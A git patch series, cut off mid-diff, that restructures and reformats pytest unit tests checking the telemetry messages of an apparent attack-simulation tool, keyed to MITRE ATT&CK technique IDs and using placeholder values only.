pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1005_telem import T1005Telem + + +GATHERED_DATA_TYPE = '[Type of data collected]' +INFO = '[Additional info]' +STATUS = ScanStatus.USED + + +@pytest.fixture +def T1005_telem_test_instance(): + return T1005Telem(STATUS, GATHERED_DATA_TYPE, INFO) + + +def test_T1005_send(T1005_telem_test_instance, spy_send_telemetry): + T1005_telem_test_instance.send() + expected_data = {'status': STATUS.value, + 'technique': 'T1005', + 'gathered_data_type': GATHERED_DATA_TYPE, + 'info': INFO} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py new file mode 100644 index 000000000..a3133fcb9 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py @@ -0,0 +1,22 @@ +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.telemetry.attack.t1035_telem import T1035Telem + + +STATUS = ScanStatus.USED +USAGE = UsageEnum.SMB + + +@pytest.fixture +def T1035_telem_test_instance(): + return T1035Telem(STATUS, USAGE) + + +def test_T1035_send(T1035_telem_test_instance, spy_send_telemetry): + T1035_telem_test_instance.send() + expected_data = {'status': STATUS.value, + 'technique': 'T1035', + 'usage': USAGE.name} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py new file mode 100644 index 000000000..575b57540 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py @@ -0,0 +1,22 @@ +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1064_telem import T1064Telem + + +STATUS = ScanStatus.USED +USAGE_STR = '[Usage info]' + + +@pytest.fixture +def T1064_telem_test_instance(): + return T1064Telem(STATUS, USAGE_STR) + + +def test_T1064_send(T1064_telem_test_instance, spy_send_telemetry): + T1064_telem_test_instance.send() + expected_data = {'status': STATUS.value, + 'technique': 'T1064', + 'usage': USAGE_STR} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py new file mode 100644 index 000000000..050003e55 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py @@ -0,0 +1,26 @@ +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1105_telem import T1105Telem + + +DST_IP = '0.0.0.1' +FILENAME = 'virus.exe' +SRC_IP = '0.0.0.0' +STATUS = ScanStatus.USED + + +@pytest.fixture +def T1105_telem_test_instance(): + return T1105Telem(STATUS, SRC_IP, DST_IP, FILENAME) + + +def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry): + T1105_telem_test_instance.send() + expected_data = {'status': STATUS.value, + 'technique': 'T1105', + 'filename': FILENAME, + 'src': SRC_IP, + 'dst': DST_IP} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py new file mode 100644 index 000000000..e47568c03 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1106_telem.py @@ -0,0 +1,22 @@ +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.telemetry.attack.t1106_telem import T1106Telem + + +STATUS = ScanStatus.USED +USAGE = UsageEnum.SMB + + +@pytest.fixture +def T1106_telem_test_instance(): + return T1106Telem(STATUS, USAGE) + + +def test_T1106_send(T1106_telem_test_instance, spy_send_telemetry): + T1106_telem_test_instance.send() + expected_data = {'status': STATUS.value, + 'technique': 'T1106', + 'usage': USAGE.name} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py new file mode 100644 index 000000000..2635f429b --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1107_telem.py @@ -0,0 +1,22 @@ +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.telemetry.attack.t1107_telem import T1107Telem + + +PATH = 'path/to/file.txt' +STATUS = ScanStatus.USED + + +@pytest.fixture +def T1107_telem_test_instance(): + return T1107Telem(STATUS, PATH) + + +def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry): + T1107_telem_test_instance.send() + expected_data = {'status': STATUS.value, + 'technique': 'T1107', + 'path': PATH} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py new file mode 100644 index 000000000..ce5562e1a --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1129_telem.py @@ -0,0 +1,22 @@ +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.telemetry.attack.t1129_telem import T1129Telem + + +STATUS = ScanStatus.USED +USAGE = UsageEnum.SMB + + +@pytest.fixture +def T1129_telem_test_instance(): + return T1129Telem(STATUS, USAGE) + + +def test_T1129_send(T1129_telem_test_instance, spy_send_telemetry): + T1129_telem_test_instance.send() + expected_data = {'status': STATUS.value, + 'technique': 'T1129', + 'usage': USAGE.name} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py new file mode 100644 index 000000000..3c620e854 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py @@ -0,0 +1,26 @@ +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.attack.t1197_telem import T1197Telem + + +MACHINE = VictimHost('127.0.0.1') +STATUS = ScanStatus.USED +USAGE_STR = '[Usage info]' + + +@pytest.fixture +def T1197_telem_test_instance(): + return T1197Telem(STATUS, MACHINE, USAGE_STR) + + +def test_T1197_send(T1197_telem_test_instance, spy_send_telemetry): + T1197_telem_test_instance.send() + expected_data = {'machine': {'domain_name': MACHINE.domain_name, + 'ip_addr': MACHINE.ip_addr}, + 'status': STATUS.value, + 'technique': 'T1197', + 'usage': USAGE_STR} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py new file mode 100644 index 000000000..da87dfe7d --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py @@ -0,0 +1,26 @@ +import pytest + +from common.utils.attack_utils import ScanStatus +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.attack.t1222_telem import T1222Telem + + +COMMAND = 'echo hi' +MACHINE = VictimHost('127.0.0.1') +STATUS = ScanStatus.USED + + +@pytest.fixture +def T1222_telem_test_instance(): + return T1222Telem(STATUS, COMMAND, MACHINE) + + +def test_T1222_send(T1222_telem_test_instance, spy_send_telemetry): + T1222_telem_test_instance.send() + expected_data = {'machine': {'domain_name': MACHINE.domain_name, + 'ip_addr': MACHINE.ip_addr}, + 'status': STATUS.value, + 'technique': 'T1222', + 'command': COMMAND} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py new file mode 100644 index 000000000..b707242a3 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_usage_telem.py @@ -0,0 +1,23 @@ +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.telemetry.attack.usage_telem import UsageTelem + + +STATUS = ScanStatus.USED +TECHNIQUE = 'T9999' +USAGE = UsageEnum.SMB + + +@pytest.fixture +def usage_telem_test_instance(): + return UsageTelem(TECHNIQUE, STATUS, USAGE) + + +def test_usage_telem_send(usage_telem_test_instance, spy_send_telemetry): + usage_telem_test_instance.send() + expected_data = {'status': STATUS.value, + 'technique': TECHNIQUE, + 'usage': USAGE.name} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py new file mode 100644 index 000000000..3743b7d76 --- /dev/null +++ b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py @@ -0,0 +1,25 @@ +import pytest + +from common.utils.attack_utils import ScanStatus, UsageEnum +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem + + +MACHINE = VictimHost('127.0.0.1') +STATUS = ScanStatus.USED +TECHNIQUE = 'T9999' + + +@pytest.fixture +def victim_host_telem_test_instance(): + return VictimHostTelem(TECHNIQUE, STATUS, MACHINE) + + +def test_victim_host_telem_send(victim_host_telem_test_instance, spy_send_telemetry): + victim_host_telem_test_instance.send() + expected_data = {'machine': {'domain_name': MACHINE.domain_name, + 'ip_addr': MACHINE.ip_addr}, + 'status': STATUS.value, + 'technique': TECHNIQUE} + assert spy_send_telemetry.data == expected_data + assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/test_attack_telem_classes.py b/monkey/infection_monkey/telemetry/tests/test_attack_telem_classes.py deleted file mode 100644 index 13dc02322..000000000 --- a/monkey/infection_monkey/telemetry/tests/test_attack_telem_classes.py +++ /dev/null @@ -1,55 +0,0 @@ -import pytest - -from common.utils.attack_utils import ScanStatus, UsageEnum -from infection_monkey.model import VictimHost -from infection_monkey.telemetry.attack.attack_telem import AttackTelem -from infection_monkey.telemetry.attack.usage_telem import UsageTelem -from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem - - -MACHINE = VictimHost('127.0.0.1') -STATUS = ScanStatus.USED -TECHNIQUE = 'T9999' -USAGE = UsageEnum.SMB - - -@pytest.fixture -def attack_telem_test_instance(): - return AttackTelem(TECHNIQUE, STATUS) - - -def test_attack_telem_send(attack_telem_test_instance, spy_send_telemetry): - attack_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': TECHNIQUE} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' - - -@pytest.fixture -def usage_telem_test_instance(): - return UsageTelem(TECHNIQUE, STATUS, USAGE) - - -def test_usage_telem_send(usage_telem_test_instance, spy_send_telemetry): - usage_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': TECHNIQUE, - 'usage': USAGE.name} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' - - -@pytest.fixture -def victim_host_telem_test_instance(): - return VictimHostTelem(TECHNIQUE, STATUS, MACHINE) - - -def test_victim_host_telem_send(victim_host_telem_test_instance, spy_send_telemetry): - victim_host_telem_test_instance.send() - expected_data = {'machine': {'domain_name': MACHINE.domain_name, - 'ip_addr': MACHINE.ip_addr}, - 'status': STATUS.value, - 'technique': TECHNIQUE} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' diff --git a/monkey/infection_monkey/telemetry/tests/test_technique_telems.py b/monkey/infection_monkey/telemetry/tests/test_technique_telems.py deleted file mode 100644 index b2c73867d..000000000 --- a/monkey/infection_monkey/telemetry/tests/test_technique_telems.py +++ /dev/null @@ -1,159 +0,0 @@ -import pytest - -from common.utils.attack_utils import ScanStatus, UsageEnum -from infection_monkey.model import VictimHost -from infection_monkey.telemetry.attack.t1005_telem import T1005Telem -from infection_monkey.telemetry.attack.t1035_telem import T1035Telem -from infection_monkey.telemetry.attack.t1064_telem import T1064Telem -from infection_monkey.telemetry.attack.t1105_telem import T1105Telem -from infection_monkey.telemetry.attack.t1106_telem import T1106Telem -from infection_monkey.telemetry.attack.t1107_telem import T1107Telem -from infection_monkey.telemetry.attack.t1129_telem import T1129Telem -from infection_monkey.telemetry.attack.t1197_telem import T1197Telem -from infection_monkey.telemetry.attack.t1222_telem import T1222Telem - - -COMMAND = 'echo hi' -DST_IP = '0.0.0.1' -FILENAME = 'virus.exe' -GATHERED_DATA_TYPE = '[Type of data collected]' -INFO = '[Additional info]' -MACHINE = VictimHost('127.0.0.1') -PATH = 'path/to/file.txt' -SRC_IP = '0.0.0.0' -STATUS = ScanStatus.USED -USAGE = UsageEnum.SMB -USAGE_STR = '[Usage info]' - - -@pytest.fixture -def T1005_telem_test_instance(): - return T1005Telem(STATUS, GATHERED_DATA_TYPE, INFO) - - -def test_T1005_send(T1005_telem_test_instance, spy_send_telemetry): - T1005_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1005', - 'gathered_data_type': GATHERED_DATA_TYPE, - 'info': INFO} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' - - -@pytest.fixture -def T1035_telem_test_instance(): - return T1035Telem(STATUS, USAGE) - - -def test_T1035_send(T1035_telem_test_instance, spy_send_telemetry): - T1035_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1035', - 'usage': USAGE.name} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' - - -@pytest.fixture -def T1064_telem_test_instance(): - return T1064Telem(STATUS, USAGE_STR) - - -def test_T1064_send(T1064_telem_test_instance, spy_send_telemetry): - T1064_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1064', - 'usage': USAGE_STR} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' - - -@pytest.fixture -def T1105_telem_test_instance(): - return T1105Telem(STATUS, SRC_IP, DST_IP, FILENAME) - - -def test_T1105_send(T1105_telem_test_instance, spy_send_telemetry): - T1105_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1105', - 'filename': FILENAME, - 'src': SRC_IP, - 'dst': DST_IP} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' - - -@pytest.fixture -def T1106_telem_test_instance(): - return T1106Telem(STATUS, USAGE) - - -def test_T1106_send(T1106_telem_test_instance, spy_send_telemetry): - T1106_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1106', - 'usage': USAGE.name} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' - - -@pytest.fixture -def T1107_telem_test_instance(): - return T1107Telem(STATUS, PATH) - - -def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry): - T1107_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1107', - 'path': PATH} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' - - -@pytest.fixture -def T1129_telem_test_instance(): - return T1129Telem(STATUS, USAGE) - - -def test_T1129_send(T1129_telem_test_instance, spy_send_telemetry): - T1129_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1129', - 'usage': USAGE.name} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' - - -@pytest.fixture -def T1197_telem_test_instance(): - return T1197Telem(STATUS, MACHINE, USAGE_STR) - - -def test_T1197_send(T1197_telem_test_instance, spy_send_telemetry): - T1197_telem_test_instance.send() - expected_data = {'machine': {'domain_name': MACHINE.domain_name, - 'ip_addr': MACHINE.ip_addr}, - 'status': STATUS.value, - 'technique': 'T1197', - 'usage': USAGE_STR} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' - - -@pytest.fixture -def T1222_telem_test_instance(): - return T1222Telem(STATUS, COMMAND, MACHINE) - - -def test_T1222_send(T1222_telem_test_instance, spy_send_telemetry): - T1222_telem_test_instance.send() - expected_data = {'machine': {'domain_name': MACHINE.domain_name, - 'ip_addr': MACHINE.ip_addr}, - 'status': STATUS.value, - 'technique': 'T1222', - 'command': COMMAND} - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' From 15107eeea3d7be46b292a6af92bef2bf578a9f96 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 18 Feb 2021 22:40:30 +0530 Subject: [PATCH 272/466] Use constants/literals for tests --- .../tests/attack/test_t1197_telem.py | 8 +++--- .../tests/attack/test_t1222_telem.py | 8 +++--- .../tests/attack/test_victim_host_telem.py | 8 +++--- .../telemetry/tests/test_exploit_telem.py | 25 +++++++++++++++---- .../telemetry/tests/test_post_breach_telem.py | 13 ++++++++-- .../telemetry/tests/test_scan_telem.py | 11 +++++++- 6 files changed, 56 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py index 3c620e854..89d174090 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1197_telem.py @@ -5,7 +5,9 @@ from infection_monkey.model import VictimHost from infection_monkey.telemetry.attack.t1197_telem import T1197Telem -MACHINE = VictimHost('127.0.0.1') +DOMAIN_NAME = 'domain-name' +IP = '127.0.0.1' +MACHINE = VictimHost(IP, DOMAIN_NAME) STATUS = ScanStatus.USED USAGE_STR = '[Usage info]' @@ -17,8 +19,8 @@ def T1197_telem_test_instance(): def test_T1197_send(T1197_telem_test_instance, spy_send_telemetry): T1197_telem_test_instance.send() - expected_data = {'machine': {'domain_name': MACHINE.domain_name, - 'ip_addr': MACHINE.ip_addr}, + expected_data = {'machine': {'domain_name': DOMAIN_NAME, + 'ip_addr': IP}, 'status': STATUS.value, 'technique': 'T1197', 'usage': USAGE_STR} diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py index da87dfe7d..7a8f88a75 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1222_telem.py @@ -6,7 +6,9 @@ from infection_monkey.telemetry.attack.t1222_telem import T1222Telem COMMAND = 'echo hi' -MACHINE = VictimHost('127.0.0.1') +DOMAIN_NAME = 'domain-name' +IP = '127.0.0.1' +MACHINE = VictimHost(IP, DOMAIN_NAME) STATUS = ScanStatus.USED @@ -17,8 +19,8 @@ def T1222_telem_test_instance(): def test_T1222_send(T1222_telem_test_instance, spy_send_telemetry): T1222_telem_test_instance.send() - expected_data = {'machine': {'domain_name': MACHINE.domain_name, - 'ip_addr': MACHINE.ip_addr}, + expected_data = {'machine': {'domain_name': DOMAIN_NAME, + 'ip_addr': IP}, 'status': STATUS.value, 'technique': 'T1222', 'command': COMMAND} diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py index 3743b7d76..6a102983b 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_victim_host_telem.py @@ -5,7 +5,9 @@ from infection_monkey.model import VictimHost from infection_monkey.telemetry.attack.victim_host_telem import VictimHostTelem -MACHINE = VictimHost('127.0.0.1') +DOMAIN_NAME = 'domain-name' +IP = '127.0.0.1' +MACHINE = VictimHost(IP, DOMAIN_NAME) STATUS = ScanStatus.USED TECHNIQUE = 'T9999' @@ -17,8 +19,8 @@ def victim_host_telem_test_instance(): def test_victim_host_telem_send(victim_host_telem_test_instance, spy_send_telemetry): victim_host_telem_test_instance.send() - expected_data = {'machine': {'domain_name': MACHINE.domain_name, - 'ip_addr': MACHINE.ip_addr}, + expected_data = {'machine': {'domain_name': DOMAIN_NAME, + 'ip_addr': IP}, 'status': STATUS.value, 'technique': TECHNIQUE} assert spy_send_telemetry.data == expected_data diff --git a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py index 1002a3cb3..92ca51ac3 100644 --- a/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_exploit_telem.py @@ -5,11 +5,26 @@ from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.exploit_telem import ExploitTelem -HOSTNAME = "hostname" DOMAIN_NAME = "domain-name" IP = "0.0.0.0" HOST = VictimHost(IP, DOMAIN_NAME) +HOST_AS_DICT = {'ip_addr': IP, + 'domain_name': DOMAIN_NAME, + 'os': {}, + 'services': {}, + 'icmp': False, + 'monkey_exe': None, + 'default_tunnel': None, + 'default_server': None} EXPLOITER = WmiExploiter(HOST) +EXPLOITER_NAME = 'WmiExploiter' +EXPLOITER_INFO = {'display_name': WmiExploiter._EXPLOITED_SERVICE, + 'started': '', + 'finished': '', + 'vulnerable_urls': [], + 'vulnerable_ports': [], + 'executed_cmds': []} +EXPLOITER_ATTEMPTS = [] RESULT = False @@ -22,10 +37,10 @@ def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry): exploit_telem_test_instance.send() expected_data = { "result": RESULT, - "machine": HOST.as_dict(), - "exploiter": EXPLOITER.__class__.__name__, - "info": EXPLOITER.exploit_info, - "attempts": EXPLOITER.exploit_attempts, + "machine": HOST_AS_DICT, + "exploiter": EXPLOITER_NAME, + "info": EXPLOITER_INFO, + "attempts": EXPLOITER_ATTEMPTS, } assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "exploit" diff --git a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py index d38cfdbde..5dd1123ab 100644 --- a/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_post_breach_telem.py @@ -1,12 +1,21 @@ import pytest +from common.data.post_breach_consts import POST_BREACH_JOB_SCHEDULING from infection_monkey.post_breach.actions.schedule_jobs import ScheduleJobs +from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import \ + get_linux_commands_to_schedule_jobs +from infection_monkey.post_breach.job_scheduling.windows_job_scheduling import \ + get_windows_commands_to_schedule_jobs from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.utils.environment import is_windows_os HOSTNAME = "hostname" IP = "0.0.0.0" PBA = ScheduleJobs() +PBA_COMMAND = get_windows_commands_to_schedule_jobs() if is_windows_os() else\ + ' '.join(get_linux_commands_to_schedule_jobs()) +PBA_NAME = POST_BREACH_JOB_SCHEDULING RESULT = False @@ -19,9 +28,9 @@ def post_breach_telem_test_instance(monkeypatch): def test_post_breach_telem_send(post_breach_telem_test_instance, spy_send_telemetry): post_breach_telem_test_instance.send() expected_data = { - "command": PBA.command, + "command": PBA_COMMAND, "result": RESULT, - "name": PBA.name, + "name": PBA_NAME, "hostname": HOSTNAME, "ip": IP, } diff --git a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py index d75aecdb1..f35d84289 100644 --- a/monkey/infection_monkey/telemetry/tests/test_scan_telem.py +++ b/monkey/infection_monkey/telemetry/tests/test_scan_telem.py @@ -6,6 +6,15 @@ from infection_monkey.model.host import VictimHost DOMAIN_NAME = "domain-name" IP = "0.0.0.0" HOST = VictimHost(IP, DOMAIN_NAME) +HOST_AS_DICT = {'ip_addr': IP, + 'domain_name': DOMAIN_NAME, + 'os': {}, + 'services': {}, + 'icmp': False, + 'monkey_exe': None, + 'default_tunnel': None, + 'default_server': None} +HOST_SERVICES = {} @pytest.fixture @@ -15,6 +24,6 @@ def scan_telem_test_instance(): def test_scan_telem_send(scan_telem_test_instance, spy_send_telemetry): scan_telem_test_instance.send() - expected_data = {"machine": HOST.as_dict(), "service_count": len(HOST.services)} + expected_data = {"machine": HOST_AS_DICT, "service_count": len(HOST_SERVICES)} assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "scan" From 8bd30ceb4c53af49461c9b0cd39d02e9b747ddd2 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 19 Feb 2021 00:07:03 +0530 Subject: [PATCH 273/466] Format code using black --- .../tests/attack/test_attack_telem.py | 7 ++-- .../tests/attack/test_t1005_telem.py | 16 +++++---- .../tests/attack/test_t1035_telem.py | 6 ++-- .../tests/attack/test_t1064_telem.py | 8 ++--- .../tests/attack/test_t1105_telem.py | 20 ++++++----- .../tests/attack/test_t1106_telem.py | 6 ++-- .../tests/attack/test_t1107_telem.py | 8 ++--- .../tests/attack/test_t1129_telem.py | 6 ++-- .../tests/attack/test_t1197_telem.py | 19 ++++++----- .../tests/attack/test_t1222_telem.py | 19 ++++++----- .../tests/attack/test_usage_telem.py | 12 ++++--- .../tests/attack/test_victim_host_telem.py | 17 +++++----- .../telemetry/tests/conftest.py | 2 +- .../telemetry/tests/test_exploit_telem.py | 34 +++++++++++-------- .../telemetry/tests/test_post_breach_telem.py | 17 ++++++---- .../telemetry/tests/test_scan_telem.py | 19 ++++++----- .../telemetry/tests/test_state_telem.py | 1 + .../telemetry/tests/test_system_info_telem.py | 1 + .../telemetry/tests/test_trace_telem.py | 1 + 19 files changed, 116 insertions(+), 103 deletions(-) diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py index 750075fb2..5d14d0aad 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_attack_telem.py @@ -5,7 +5,7 @@ from infection_monkey.telemetry.attack.attack_telem import AttackTelem STATUS = ScanStatus.USED -TECHNIQUE = 'T9999' +TECHNIQUE = "T9999" @pytest.fixture @@ -15,7 +15,6 @@ def attack_telem_test_instance(): def test_attack_telem_send(attack_telem_test_instance, spy_send_telemetry): attack_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': TECHNIQUE} + expected_data = {"status": STATUS.value, "technique": TECHNIQUE} assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py index 757f0de13..528d6dca8 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1005_telem.py @@ -4,8 +4,8 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.telemetry.attack.t1005_telem import T1005Telem -GATHERED_DATA_TYPE = '[Type of data collected]' -INFO = '[Additional info]' +GATHERED_DATA_TYPE = "[Type of data collected]" +INFO = "[Additional info]" STATUS = ScanStatus.USED @@ -16,9 +16,11 @@ def T1005_telem_test_instance(): def test_T1005_send(T1005_telem_test_instance, spy_send_telemetry): T1005_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1005', - 'gathered_data_type': GATHERED_DATA_TYPE, - 'info': INFO} + expected_data = { + "status": STATUS.value, + "technique": "T1005", + "gathered_data_type": GATHERED_DATA_TYPE, + "info": INFO, + } assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py index a3133fcb9..6c4e704bf 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1035_telem.py @@ -15,8 +15,6 @@ def T1035_telem_test_instance(): def test_T1035_send(T1035_telem_test_instance, spy_send_telemetry): T1035_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1035', - 'usage': USAGE.name} + expected_data = {"status": STATUS.value, "technique": "T1035", "usage": USAGE.name} assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py index 575b57540..fce3107ff 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1064_telem.py @@ -5,7 +5,7 @@ from infection_monkey.telemetry.attack.t1064_telem import T1064Telem STATUS = ScanStatus.USED -USAGE_STR = '[Usage info]' +USAGE_STR = "[Usage info]" @pytest.fixture @@ -15,8 +15,6 @@ def T1064_telem_test_instance(): def test_T1064_send(T1064_telem_test_instance, spy_send_telemetry): T1064_telem_test_instance.send() - expected_data = {'status': STATUS.value, - 'technique': 'T1064', - 'usage': USAGE_STR} + expected_data = {"status": STATUS.value, "technique": "T1064", "usage": USAGE_STR} assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == 'attack' + assert spy_send_telemetry.telem_category == "attack" diff --git a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py index 050003e55..3b71bd56e 100644 --- a/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py +++ b/monkey/infection_monkey/telemetry/tests/attack/test_t1105_telem.py @@ -4,9 +4,9 @@ from common.utils.attack_utils import 